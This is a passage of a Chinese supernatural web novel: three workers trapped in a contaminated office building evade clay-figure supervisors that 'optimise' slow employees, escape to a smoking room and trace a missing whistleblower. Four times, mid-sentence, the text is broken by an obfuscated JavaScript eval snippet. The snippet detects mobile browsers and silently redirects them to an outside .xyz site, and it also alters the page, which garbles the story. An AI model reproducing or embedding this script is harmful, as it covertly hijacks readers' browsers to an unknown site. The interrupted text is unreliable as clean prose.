糟糕，是自愿加班！ 诡异的世界也要遵循弹性工作制吗？ 姒姽与赵平安交换了个“我们完了”的眼神后，眼巴巴地看向唯一能准点下班的李德安。 唯一有可能准点下班的李德安无奈笑笑，安抚道。 “五点后，我先离开，联系异管局的人。在这里待着只是浪费时间，刚刚机器人提到工作任务，可能完成工作才是离开的关键。” 姒姽和赵平安点点头，对李德安的分析表示赞同。 “害，咱们也别太悲观，三个臭皮匠顶个诸葛亮，咱仨儿准能想出办法离开的。” 赵平安乐观地拍拍姒姽的肩，一副哥俩好的样子，缓解紧张的气氛。 “是啊，人多力量大。我和老赵干了这么多年，污染物也不是没见过，不用怕哈。” 丝毫没有感到害怕的姒姽点点头，作为前任“人类兵器”，被两个手还在打颤的大叔安慰，真是新奇的体验。 【十一层】 哦，差点忘了还有个边牧。看来不是三个臭皮匠，而是四个。 姒姽瞟一眼手环刚弹出的消息，被人监视的感觉并不美妙，但此刻也顾不得思考这消息的来源。 出于本能，姒姽并不觉得这个名为“智”的神秘人会害她，如果想害她……无论对方是人是狗，她都一定会把他干掉。 活动一下肩部肌肉，姒姽背上工具包，率先走向前台后方的电梯。 赵平安与李德安没想到这个胆大的女孩如此果敢，交换个震惊的眼神后，也急忙跟上。 进入电梯，姒姽按了下十一层的按钮，紫蓝色的数字“11”亮起，身体感受到隐约的上升感，电梯正在正常运行。 “咦，你怎么按十一楼啊？” 赵平安凑到亮起的按键旁，像个十万个为什么。 “嗯……电梯旁有楼层图。” 姒姽回忆着进电梯前一扫而过的指示牌，信誓旦旦地说道，即使她并没看清指示牌的内容。 好在，赵平安也没再追问，点点头，夸赞道：“不愧是年轻人，眼神就是好，哈哈。” 显示屏上的数字从十跳到十一，伴随着轻微的失重感，电梯门开了。 眼前是一条长长的、看不见尽头的白色走廊，洁白的墙壁、瓷白的地板，沿着墙壁的两侧，每隔五十米摆放着一盆人造绿植，绿色的机械叶片随着微型机械臂的摆动上下起伏，如同深海中摇曳的海草。 赵平安与李德安靠着电梯壁，咽咽口水，迟迟不敢走出电梯门。 污染值检测仪已经崩溃，亮红色的显示屏熄灭，这里的污染状况比一楼还要糟。 姒姽确定手环没有再弹出新消息后，屏息感受着污染磁场的波动。 还好，在她所预估的安全范围内。 没有多做犹豫，姒姽走出电梯门，脚步声在空旷的走廊中回响。 李德安在心里感叹一句：“初生牛犊不怕虎”后，也不再犹豫，咬牙跟上姒姽的步伐。 见老搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904874|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 档和新来的小闺女都走出电梯，缩在角落的赵平安也不好意思找借口呆在原地，叹口气后认命般得跟上。 走廊长得几乎没有尽头，白墙、绿盆栽，单调、重复的布局给人带来虚幻诡异的空间感。 没有预想的污染物贴脸精神攻击，也没有血腥的夺命大逃杀。如白色棺材般的长方形空间中，三人手持铁锤作为防身武器，警惕地往前行走，平日里话最多的赵平安此时也抿着嘴，攥着锤柄一言不发。 “哒哒哒”的脚步声在回荡、蔓延。直到眼前出现一块更加明亮的空间，一直处于安分状态的手环突然微微震动，姒姽知道，这条诡异长廊快走到尽头了。 【扮演好你的角色】 这次陨石边牧没再给准确有效的信息，只留下这样一句算是命令的提醒。 姒姽一边走，一边打开对话框，试图与这位向自己提供线索的神秘人取得联系。但无论是发送语言、图片，还是输入文字，聊天栏中都只有“无法传输”的红色感叹号。 一步、两步……离那个明亮的空间越来越近，污染物磁场的干扰加剧，手环的显示屏出现雪花状的乱码，最终黑屏，无法开机。 “智”的下线并不完全是个坏消息，几乎拥有全知视角的他是个比污染物更需要警惕的危险因素。 现在，手环强制关机，磁场波动超过阈值，就算是全知全能的“智”也无法在这种情况下监视自己，这对她而言是个好消息。 姒姽收拢思绪，不再关注手环和神秘人的存在，冷静整理目前的线索。 扮演好角色……意思是要代入打工人的角色，和真正的职员一样完成工作、融入职场。 目前她的所有行动都符合这个标准，所以一路上才没遇到危险，即使污染物指数超标到常人无法承受的地步，他们仍安然无恙。 扮演等于安全，姒姽得出这个等式。 扮演的下一步是工作，短时间的摸鱼能被容忍，但如果长时间未完成工作，会被公司剥夺“员工”身份，这是职场最基本的生存法则。 姒姽看向自己的工牌，上面印有工号、职员信息，办公地点是“技术部6区”。 现在，她的任务就是找到技术部6区的位置。 “你们工作证上的办公位置是几区？” 姒姽回头，朝赵平安与李德安两人问道。 “我是技术部6区。” “我是技术部1区。” “赵叔和我位置相同，前面应该就是技术部的办公区，我们先陪李叔找到1区，再去6区。” 李德安下意识想说：你们先去找6区，不用管我。却见赵平安朝着他笑眯眯地点头，还挤眉弄眼的使眼色。 不能拒绝小闺女的好意！ 李德安将想说的话咽下，无奈笑笑，明明自己才是长辈，这一路上却是姒姽——这个按年龄算能当他闺女的小丫头在往前冲锋，他们这些“经历过大风大浪”的老人反倒是在往后缩。 “好的，你们等会儿如果遇到什么事就来找我，我职位高，说话好使。” 李德安回答道，尴尬之余更多的是感激和暖意。他不能再缩在后方了！ 越往前走，眼前显现出的明亮空间越大，直到抵达走廊的尽头，一尘不变的布局终于有了改变。 一块长方形的银色铁牌挂在墙壁的最上方，银牌上，鎏金色楷书写着三个大字。 【技术部】 5. 第五章出不去的办公大楼3 技术部的分区比预想中的更直观，空旷的大平层如同一个巨大的正方形奶油蛋糕，被横竖各两刀，切成九个方块。 区域间没有墙壁阻隔，只由够两人并肩行走的过道进行划分，每个区域的天花板上挂着标有对应的序号电子显示屏。 放眼望去，一个分区内至少有三十张办公桌。桌子紧凑排布，每张桌子间竖着浅蓝色的半透明挡板，隔成半开放的个人空间。 键盘敲击声此起彼伏，无数如同灰色橡皮泥捏成的人偶佝偻着腰，坐在被资料杂物淹没的工位上，聚精会神的工作。 “一区在第一排最左边，六区在第二排最右边。现在我们分开行动？” 李德安扫视一圈，快速从显示屏上的亮红色像素风序号中，找到三人的对应分区。 姒姽点点头，同意李德安的提议。 六区中正好有两个并排的空工位，像是特意为他们准备的。 空工位间被一个橡皮人偶的工位隔开。姒姽与赵平安小心翼翼向空工位移动，二人靠近工位的同时，不忘抓紧手中的铁锤，警惕地观察着那个橡皮泥打工人的状态，以防它突然暴动。 不过，直到二人各自坐到工位上，人偶也没有任何举动。 电脑显示屏的光将它没有五官的脸上照得白了一度，两根粗制的灰色手指砸着按键，对于有两位与众不同的新同事坐到自己旁边这件事，它似乎毫不在意。 “我们接下来该干什么？” 一路上没遇到任何危险，赵平安胆子大了许多，伸长脖子，隔着污染物版打工人，朝姒姽喊话。 确定声音和动作不会触发泥人的攻击模式后，姒姽也大大方方地朝赵平安喊话回应。 “抄作业！” “哈？” …… 与此同时，李德安的进展就没那么顺利。一区的工位是满员状态，找不到工位的李德安只能焦急地围着过道转了一圈又一圈。 正当他如无头苍蝇般转到第十圈，一个白色的橡皮人悄无声息出现在他面前，险些迎面撞上。 突如其来的贴脸杀吓得李德安赶紧抡起锤子，往人偶头顶上砸。 还未等锤头落下，人偶不知从哪里拿出一打A4纸，往李德安手里一塞后，转身离去。 白人偶消失，李德安混沌的大脑才如同重启开机，恢复理智。 幸好刚刚动作慢一拍，不然，一锤头下去不知是人偶先变成白色大饼，还是他李德安先变成新鲜肉酱。 李德安后背发凉，颤抖的手紧捏着刚拿到的纸。 一路走来，过长时间的平静、单调重复的布局最大限度消磨人的感官，紧张感趋于麻木，在面对危险时很难进行快速思考。这是污染物的阴险之处，它在引诱我们犯错！ 想通这点，李德安急切地想去六区提醒姒姽与赵平安两人，但看清手中纸上的文字后，他停下脚步。 【普通员工业绩考核表：1区 (请立即统计普通员工业绩情况，完成公司人员结构优化。 注意：每区优化人数必须为两人及以上。)】 优化？优化是什么意思？ …… 姒姽与赵平安这边，此刻，两人正把键盘敲的啪啪作响。 目光坚定的两人看似是在一本正经地工作，实则只是不断敲击键盘上“1”和“0”两个按键，保证显示屏中持续跳动“1010101010”的循环数字。 就在几分钟前，一个白色人偶突然出现在六区，像设置好程序的机器人沿着过道，转了一圈又一圈。 白人偶与灰人偶在外观上没什么区别，都是没有五官只有大概人形轮廓的橡皮人，只不过它通体白的发亮，在主观感受上要比灰人偶更高级些。 白人偶绕着六区工位顺时针移动，转到第三圈时，突然在姒姽前方的工位处停下，平面的脸上出现一条巨大的裂口。 “太慢了，你被优化了。” 说完，白人偶拉长脖子，将脸伸到灰人偶的上方。它头部诡异地膨胀到和汽车轮胎一样的，脸上的裂口不断拉伸、扩张，最终脖子向下一伸，灰人偶被它吞入腹中。 听着灰人偶在被吞下前短促而绝望的哀鸣，哀鸣声含糊不清，隐约组成一段文字：“别优化我！” 原来人偶是能说话的，而且具有一定的自主性。 姒姽脸色凝重，加快敲键盘的速度。 优化？……听起来不是什么好词。 事态比她预想的更糟。在此之前，姒姽的猜想是人偶只是污染物设定捕猎环境中的NPC。这世上总有些污染物进食方式很奇怪，比如特意设置虚拟环境，把人折磨到精神崩溃后再吃。 姒姽本以为潜伏在大楼里的污染物就是这种。这样的话，灰人偶的存在不过是增加恐怖氛围感的NPC，过分警惕反倒是着了污染物的道，自己吓自己。 但，这个假设的前提在于人偶没有自主意识。 一旦人偶能说话、互动、思考，甚至对“外来者”产生威胁，这个假设就被打破了。 危险系数直线上升，没有异能，常规武力对幻境作用不大，只有找到污染物的本源才能破局。 赵平安不如姒姽，此刻，过多的视觉冲击让他本就没什么沟壑的大脑变得更是一片空白，两根手指按在“1”“0”键位，飞速敲击，生怕白人偶下一秒出现在他的背后，将他一口吞下。 幸好，十分钟之前，他和姒姽光明正大地凑到灰人偶同事工位的后方，偷窥它的电脑屏幕。 在确定工作内容是在电脑上敲出“1”“0”的循环代码后，两人就开始抄作业，飞速按键盘。 不然，不敢想象，如果当白人偶出现时他们还没有开始工作，等待他们的将会是怎样的危机。 劫后余生的喜悦还未持续多久，新的问题又出现了。 在持续敲十几分钟键盘后，赵平安感觉身体有些不对劲。先是腰部变得酸痛无力，紧接着颈椎不受控制的向下弯曲，手指也因为酸软开始忍不住颤抖。 不对劲，很不对劲。他老赵好歹是从事体力劳动的职业搬砖人，这点工作量不可能让他感到不适。 生理的不适让他怀疑是污染物在作祟，于是，趁着白人偶在稍远的位置溜达的间隙，赵平安从混乱的工位中抽出一张空白的纸和黑笔，在上面快速写上求助信息，揉成团，扔给姒姽。 【我们还要敲多久？我感觉不对劲。】 感受到不对劲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904875|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不止赵平安一人。 在敲键盘的过程中，姒姽无意间瞟了眼旁边的人偶同事。人偶平面的灰脸上诡异地浮现出五官的轮廓，颜色也由深灰朝着浅灰发展。 人偶在逐渐人化？ 当目光落回自己手上时，她的心猛地咯噔一下。 她的手臂正由健康红润的肤色逐渐变得暗沉、发灰。 不是人偶变得像人，而是他们在不知不觉中变得越来越像人偶。他们正在被污染物创造的世界同化。 好比是坠入捕食者胃袋的猎物，胃袋里的胃酸正将他们腐蚀消化。如果不能在彻底同化前逃离幻境，他们就会被“胃酸”溶解，成为污染物的养料。 接收到赵平安的小纸条后，姒姽抬头看向仍在尽职尽责巡逻的白人偶。 “工作”会加快同化进度，“不工作”会被白人偶“优化”。 如何才能既不会被优化，又可以不工作呢？ 姒姽思考着，稍稍放缓敲键盘的速度。手速刚放慢片刻，原本绕办公区域顺时针巡逻的白人偶猛地转身，朝她的工位处逼近。 姒姽立即恢复原本敲键盘的手速，白人偶这才放慢逼近的速度，迟疑片刻后转身，继续巡逻。 伴随着被优化人偶数的增多，硕大的办公室内，键盘敲击声越来越急促猛烈。 这下别说不工作，手速放慢一点都会被优化。 旁边工位上的灰人偶同事皮肤颜色变得越来越浅，已经彻底由深灰转为浅灰，接着开始向肤色趋近。 它的面部轮廓越来越清晰，从最初如同工厂模具统一塑造的粗糙人形胶体，逐渐有了个性化的特征。 胡渣、微卷的稀疏的头发、框架眼镜……看来这位同事是个饱受公司压榨的中年男性打工人。 姒姽一边保证敲键盘的手速，一边观察着人偶同事的状态，从而判断自己的受污染程度。 危机感随着人偶同事外貌的变化逐步提升，就在姒姽开始思索失去所有异能的情况下，使用蛮力和污染物硬碰硬的成功率时，那位中年男性牛马同事突然起身，离开工位。 为什么它能离开工位？ 见离开工位的灰人偶同事没有吸引白人偶注意，姒姽也随即起身，但下半身还未离开座位，白人偶便有所感应，猛地回头，用具有极强威慑性的蛋壳脸对着她。 姒姽尴尬一笑后，乖巧坐下。 凭什么那个灰人偶能安全离开工位？ 是因为和白人偶一样同属于污染物的衍生物吗？ 不对，之前被优化的都是灰人偶。在没违反扮演规则的情况下，人偶分不出外来者和它们的区别，也就不可能因此区别对待。 那是需要满足什么关键性条件才能离开工位吗？ 姒姽认真复盘灰人偶离开时的状态，无数的细节逐渐从脑海中浮现。 没有携带工作用品、没有举手打报告的动作、没有佩戴任何证件或者标识性物品……对了，它的手上好像拿着一个纸盒。 姒姽努力回想那个纸盒的外观，棕黄色和红色相间、包装小巧精致，好像在哪里见过，应该是基地内可获取的物资。 是香烟盒！而且还是基地内流通量最多、性价比最高的香烟所用的包装盒。 6. 第六章出不去的办公大楼4 “嘿，有烟吗？” 姒姽朝赵平安小声喊话。 “啥？烟？抽的烟？” 姒姽点头，她自己没有抽烟的习惯，身上自然不会备香烟，此刻，只能把希望寄托在赵平安身上。 好消息，赵平安是个老烟民，烟不离手。 在姒姽期待的目光下，赵平安点点头，左手继续敲键盘保命，右手从裤兜里摸出一个瘪瘪的烟盒，拿出一根暗黄色的细烟后，摇摇盒子，尴尬一笑。 坏消息，他太能抽了，一包烟管不了两天。而今天，烟盒里的香烟刚好被他抽得只剩一根。 早知道今天出门前再赶也要补几根烟啊。 赵平安有些懊恼，虽想不出姒姽要烟有什么用，但直觉告诉他，她这样做肯定有她的道理，索性将那唯一剩的那根烟重新塞进盒子，连盒子带烟抛给姒姽。 姒姽接过瘪平的盒子，观察外观。 烟盒黄红相间，恰巧和灰人偶手上拿的是同款。 但里面烟只剩一根，不够两个人分，李德安在一区，离得太远，喊他来支援不切实际。 依照这一路上的经验来看，这个污染物很有原则，无论是人员结构还是规章制度，甚至是一些职场潜规则都极度贴近现实严格，还原大楼里的办公状态。 所以，灰人偶的离开而不被攻击肯定是因为他的行为符合工作制度中的某条隐藏规则，而这条规则在现实中也大概率存在，比如，工作期间犯烟瘾的员工可以去吸烟室吸烟。 如果这个推理正确，那么烟盒只不过是次要条件，重点是在烟上。 姒姽拿出那唯一的一根烟，有些头疼。 烟只剩一根，肯定是不够两人使用的，烟盒……有总比没有强。 姒姽将取出的烟扔给赵平安，顺带扔出的还有一张字条。 【拿着烟，可以离开工位。】 赵平安看着姒姽扔给他的讯息，有些摸不着头脑。 他不擅长思考和推理，从加入基建团以来，他的工作只不过是搬砖和摸鱼，需要动脑筋的工作有别人来干，不用他操心。 但，他很擅长信任别人，所以在看到信息的那刻，没有多想，他就站起身，一脸茫然地离开工位。 起身，抬脚，往前走两步。 做完这一系列动作，那个只要打字速度慢下来几秒就会闪现到工位旁边的白人偶，此刻却连个眼神都没给赵平安，依旧在尽职尽责地绕区域巡逻。 赵平安又试探性地向前走两步，见白人偶确实不会注意到他后，欣喜地望向姒姽。 姒姽给他比了个大拇指，深吸一口气后，起身，试探性离开工位。 刚抬起身，白人偶没有异动。 身体彻底离开工位，白人偶似乎有所察觉，停顿片刻。 向工位后方迈出一步，白人偶一个闪现，朝着姒姽来了个贴脸攻击。 “工作期间……禁止离开工位……优化……” 白人偶张开漆黑的大口，断断续续的声音中参杂着诡异的“咳咳”声，一股混杂着机油味的腥臭扑面而来，姒姽屏住呼吸，即使隔着防护服她仍能隐约闻到这股味道。 人偶张着嘴，却没有立即将姒姽吞入腹中，只是伸长脖子，越来越贴近她的脸。 一旁的赵平安吓得心都要从嗓子眼跳出，拎着铲子就要给白人偶一个物理攻击。 “等等。” 白人偶和赵平安同时停下动作，盯着姒姽。 见两个“等”字不仅镇住了赵平安，还稳住白人偶，姒姽心中的胜算又多几层。 白人偶是可沟通的，这就好办了。 姒姽的气势顿时提高几分，将烟盒拍在桌子上，用耍无赖般的语气道：“凭什么前面几个人去吸烟都可以，轮到我就不行了？你这是职场歧视，违背职场规则，我要向上级告你！” 白人偶被她气势汹汹的质问唬住，深渊巨口缩小几圈，诡异而恐怖的声音中竟夹杂了几分委屈。 “你……你这没有烟，不能离开工位，违规……” “怎么没有了！” 姒姽理不直气也壮的从口袋里摸出一条巧克力味蛋白棒，塞进快碎掉的烟盒里。 “我健身，每天下午必须要吃一根蛋白棒，不吃就会全身不得劲，影响工作。 而且，吃蛋白棒对我而言是一件很私密的事情，在工位上我吃不下去，只有闻着吸烟室的烟味儿我才能吃得下去。” “但是……那……” 白人偶陷入混乱状态，它毕竟只是污染物创造的一个小衍生物，按照规定好的程序办事，没有处理复杂事务的能力。 “凭什么抽烟的可以在工作期间抽烟，我吃蛋白棒就不行？ 我有蛋白棒瘾，现在就要去吸烟室吃蛋白棒，你再拦我，我就告你职场歧视！” 白人偶彻底陷入逻辑混乱，无法将姒姽的行为判为合规，也无法判为不合规，直愣愣地站在原地，陷入宕机状态。 趁着这个机会，姒姽溜到赵平安身旁，拍拍因为震惊同样陷入死机模式的赵平安，一同离开工作区域。 “这样也行？” 赵平安回味着姒姽与白人偶对骂，不对，是理论时的英姿，小声惊叹道。 “当然，人要学会变通啊。” 姒姽从即将碎成六片的烟盒里的拿出巧克力蛋白棒，在赵平安眼前晃晃后，又塞回自己的口袋里。 听说吃这玩意儿利于长肌肉，所以今早到达办公室前，她就顺路去了趟街边的便利店，买来带在身上，还没来得及吃，没想到在这里派上用场。 离开六区后，姒姽与赵平安特意绕到一区，本想与李德安会合，却没找到他，只能先离开办公区域，以防变数发生。 吸烟区的位置比较隐蔽，绕着墙壁找了几圈才终于在一个偏僻的窄缝旁看到【吸烟室】的字牌。 吸烟室的门很窄，只能容纳一个人侧身通过。 姒姽先侧着身子，试探性的走进去，赵平安紧随其后。 里面的空间比预想中的大，大概能同时容纳十个人，长方形房间的中央是一个极长的金属制敞口铁皮箱，用来充当烟灰缸。 房间很长，但宽度较窄，像一个全封闭式的走廊，只在尽头处安装了窗户。 窗户是由内向外推开的老旧款式，此时只是隐约打开一条缝，无法起到通风的作用。 那位早一步来到吸烟室的灰人偶正坐在铁皮箱旁的长椅上，逐渐有眼珠和眼皮形状的眼睛呆滞地盯着手上的烟，仿佛没有发现姒姽与赵平安的到来。 灰人偶不说话，姒姽也不敢轻举妄动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904876|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只是走到窗户旁，试探性朝外用力，企图打开窗户。 身体素质满分的姒姽使出全力，窗户也只朝外移动几厘米，在打开一个窄缝后便因为强大的阻力无法再向外开，彻底固定住了。 “没用的……窗户，打不开的。” 灰人偶呆坐着，如一滩死水般发出微弱的声音。它依旧是低着头看自己手中燃烧着的烟，直到烟灰落地，烟燃烧殆尽，只剩一个烟头，它才缓缓起身。 “打开的话，跳下去，算谁的？” 留下这句带有黑色幽默意味的话后，灰人偶佝偻着腰，伴随着轻微的“咳咳”声和从身体内部发出的诡异的“嘎吱嘎吱”声，一歪一扭，离开吸烟室。 姒姽目送这位主动搭话的灰人偶离开，莫名觉得它有些可怜。 吸烟室内的烟味很重，异端创造的环境中无论是物品还是气味都带有污染性，即使佩戴最先进的防护装备也只是延缓被同化的时间。 姒姽放弃开窗通风的想法，坐在刚刚灰人偶坐过的位置旁边，抬头，看向赵平安。 “这栋大楼之前是被什么异端攻击的？有具体编号吗？” 面对姒姽的疑问，赵平安挠挠头，有些尴尬的回答。 “不太清楚，只知道是一个蛮厉害新型污染物。咱们就是几个过来搬砖的，这种事情上面的还能让我们知道？” “X209型，精神攻击与物理攻击双攻击类，是W209的进化形态。” 门口处传来李德安的声音，伴随“吱呀”一声，吸烟室的门被打开，他侧着身子走进，站在姒姽的面前，脸色苍白的如同白色雕塑。 赵平安看着李德安，像是见了鬼。 “老李，你咋来了？你是人还是污染物啊？” “看你手里夹着个烟往外走，我就跟过来看看。” 李德安晃晃手里那根同款香烟，继续开口道。 “异端X209有将近一个月的潜伏期，体型可灵活变换，隐藏能力较强。 发现的地点是大楼最顶层的董事长办公室，初步判断是董事长秘书购买的转运雕塑上携带污染源。 在我们接到任务前，异管局已经派出小队进行清除，还有消杀队进行全面消毒和污染源排查，按理来说不可能有残余污染。” “异管局派出的是哪一支小队？” 李德安微微一愣，觉得姒姽抓重点的角度有些新奇，但还是认真的回想。 “好像是第七小队，里面有个新人，是最近刚加入异管局的第一美人。” “呸，什么美人，一个大男人，男不男女不女的，还好意思叫第一美人。” 一直没有加入讨论的赵平安突然开口，停下手中把玩香烟的动作，愤愤不平道。 “也就是命好，突然觉醒异能，被异管局收了，不然以他那小细胳膊、小细腿的，让他来搬俩砖都费劲。” 面对赵平安的骂骂咧咧，李德安无奈耸耸肩，用眼神示意姒姽不用管他。 “第七小队队长是谁？A301？” 她和第七小队关系一般，记不清他们的人员结构。 “A301在两个星期前出任务受重伤，现在是A102顶职。” “A102？” 姒姽微微一愣，这是雪绒的编号。 7. 第七章出不去的办公大楼5 雪绒跟在她身边的时间很久，精英区青年培训时就总爱跟在她身后，就像是她的小尾巴。 后来，培训结束，两人加入异管局，雪绒如同理所应当般的，成为她的副官。 但其实，当年分配工作前的培训考核，雪绒的成绩很高，远超副官的招录标准，完全可以和她一样当个威风凛凛的小队队长。然而在最终的入队志愿填报中，雪绒执意要和她一样填报第一小队，继续当她的跟班。 每当她问起这件事，雪绒就会撒娇般的回复： “卷业绩不如抱大腿，跟着我姒姐，吃喝不愁，比带队冲锋轻松多了，嘿嘿。” 回忆结束，姒姽盯着吸烟室的那扇磨砂玻璃窗，有些感慨。 没想到如今，距离她“牺牲”不过是过去了短短两个月，整个异管局内最怕麻烦、最想摆烂的雪绒竟然成为小队队长，还恰巧带队处理的是这栋办公大楼里的异端……虽然好像没处理干净。 从新同事嘴里听到老队友的编号，姒姽莫名有种他乡遇故知的愉悦，但一想到自己隐退搬砖后还要给前同事收拾烂摊子，心中就不太美丽。 “你刚刚到哪儿去了？我们咋没看到你？” 赵平安一直记着刚刚在办公区域内没看到李德安，忍不住插嘴问道。 “我进入分区后没找到工位，有个白色的移动人偶给了我这张考核表，我瞟到几个放在桌面上的工牌上的工号，随机填几串数字，就被一个红人偶带到办公区左上方的一间休息室喝茶。” 李德安拿出那张交给红人偶后又被他偷偷摸出来的考核表，姒姽接过，看到上面的优化人员名单。 把工牌放在桌面上会变得不幸…… 姒姽默默将胸前正面朝上的工作证翻了个面，只露出“工作证”三个大字。 “还有红人偶啊！” 赵平安倒吸口凉气，惊叹道。 目前所见的人偶有灰、白、红三色。灰人偶几乎没有攻击性，是和他们一样的可怜打工牛马，白人偶是监督者，有优化权限，属于公司的中高层人员，攻击性强。 按照这条逻辑推断，红人偶是白人偶的领导，是公司的高层领导，攻击性和处理权限肯定更高，危险性也更强。 在红人偶之后，还有更高层次的人偶吗…… 姒姽思索着，能如此大面积的、细致的还原大型公司人员结构和工作场景，这不是“未发现和清理”的漏网之鱼能做到的。 这个异端等级很高，比异管局处理的那个等级更高。 姒姽得出这个判断，面色变得凝重，对目前处境的危险性认知等级又提高一个档次。 如果有异能，这种等级的异端完全可以纯武力镇压，但现在没有异能，只能使用最传统的笨办法，找到污染核心……但是，该从哪里找核心呢？ “对了，出任务前和任务信息单一同发来的还有一个未发布的新闻报告，和这栋大楼的公司，金澎传媒集团有关。不知道对你有没有帮助。” 李德安开口道，作为基建团的小队队长，他获取信息的权限更大、内容更广。 “嗯？说来听听？” 得到姒姽的肯定，李德安开始回忆早上刚收到的邮件内容。现在磁场依旧混乱，手环无法使用，只能纯靠他凭印象复述。 “大致内容是，这家公司严重违反劳动法，要求员工长期性加班，因此上个月，几个不满压榨的员工在公司内部组织一起小范围罢工运动。 当然，这件事最后被集团压下来，闹事的做开除处理后就不了了之。 但是，这起罢工运动的领头人自称自己手上有一份绝密资料，足以影响公司的存亡。 就在他准备将举报材料发送给监管局时，他却突然失踪，就连已经发送出的电子材料也变为损坏状态。据说，监管局的人在检测材料数据中发现异端的污染痕迹，所以这个案子现在转交给异管局那边的人处理。” “失踪？” 姒姽和赵平安惊呼道，自从基地个人手环配置成熟，失踪案几乎绝迹，想要在基地的大数据监测下，让一个大活人凭空消失，可不是什么简单的事。 “是的，截至昨天那位举报者手环传输的个人信号显示此人还有微弱的生命体征，但是数据信号被感染，无法追查到具体位置和所处情况。 异管局那边初步判断是因为异端产生的干扰磁场阻碍信号传输，目前还在尝试对信号进行追踪检测，但希望不大。” 李德安向姒姽解释道，无奈地叹口气。 “唉，说是新闻的拟定报告，但这种事情基地大概率是会压下来的，免得影响不好。 你们就当个内部消息听吧，别往外传。” 姒姽和赵平安点头表示理解，突然，姒姽灵光一闪，开口问道。 “异管局那边检测出的个人信号消失位置是在哪里？” “是一个废弃的破旧仓库，异管局的探测小队去那里，发现没有污染源，污染指数也很低。” 有了李德安的回答，姒姽思考片刻后做出推理。 “个人信号除非是被异端污染，普通的个人和组织是没办法屏蔽。所以，绑架举报者的人手上有可移动的污染源。” “为什么不能是被污染物叼走了呢？” 赵平安插嘴后，收获了姒姽与李德安的两个看傻子般的眼神后默默闭嘴。 也是，被异端叼走的人，如果不是先天性对污染物免疫值较高，三秒钟就被同化为异端了，还能保持将近一个月的生命体征？ 真有这种人的话，那也早就被异管局挖去当宝贝供着了，怎么可能还留在普民区过这种苦日子！ “刚刚说到，异管局处理的这栋大楼里的污染物是隐藏在雕塑上。如果买这个雕塑的人买的不是雕塑，而是潜伏在雕塑上的污染物呢？” 李德安立刻明白姒姽的意思，恍然大悟般道：“你是说，集团的老板为了让举报者封口，不惜从黑市获取异端来绑架他？ 如果真是这样，这个举报人手上有的东西或许不仅仅是对公司不利的证据。只是举报材料的话，花钱消灾或杀人灭口，都比冒着被感染或逮捕的风险使用污染物绑架举报者要容易的多。” 神秘的神秘者和至关重要的举报材料，有了这些信息，姒姽感觉自己离找到污染核心更进一步。 “举报者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904877|176815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极有可能被藏匿在这栋大楼之中，而且离目前控制大楼的污染物的核心源很近。 异端可以隐形、潜伏，但是人很难做到。找人比找污染物简单。” 李德安与赵平安对姒姽的结论表示赞同，还未等三人商讨出“寻找举报者”的具体方案，一阵欢快的铃声响起。 “叮铃铃……叮铃铃……” 急促的铃声让姒姽想起在异管局时出任务的集合信号。他们在吸烟室的时间待的有点久了，再不离开可能会被判定为摸鱼，有被“优化”的风险。 “我们先回去工作，等会儿再找机会溜出来，吸烟室集合。” 姒姽摇了摇手中的巧克力蛋白棒，赵平安也摇摇两指间夹着的烟。 如果这次能成功逃离大楼，他可能会有很长一段时间对烟产生心灵阴影。 赵平安甩甩脑袋，将半人半鬼的灰人偶拿烟的形象从脑海中甩出，小心翼翼地将唯一的一根烟放进胸口前防护服的口袋中，跟上姒姽的步伐。 回到办公区域，和离开前的竞赛式敲键盘场面不同，工位中弥漫着的紧张压抑的气氛变得舒缓。 环顾四周，不见白人偶踪影，键盘敲击声由急促转为零碎，除了部分还在埋头苦干的灰人偶外，不少灰人偶已经站起身，收拾东西准备离开工位，它们隐约能看清五官长相的脸上洋溢着幸福的笑容。 “下班了？” 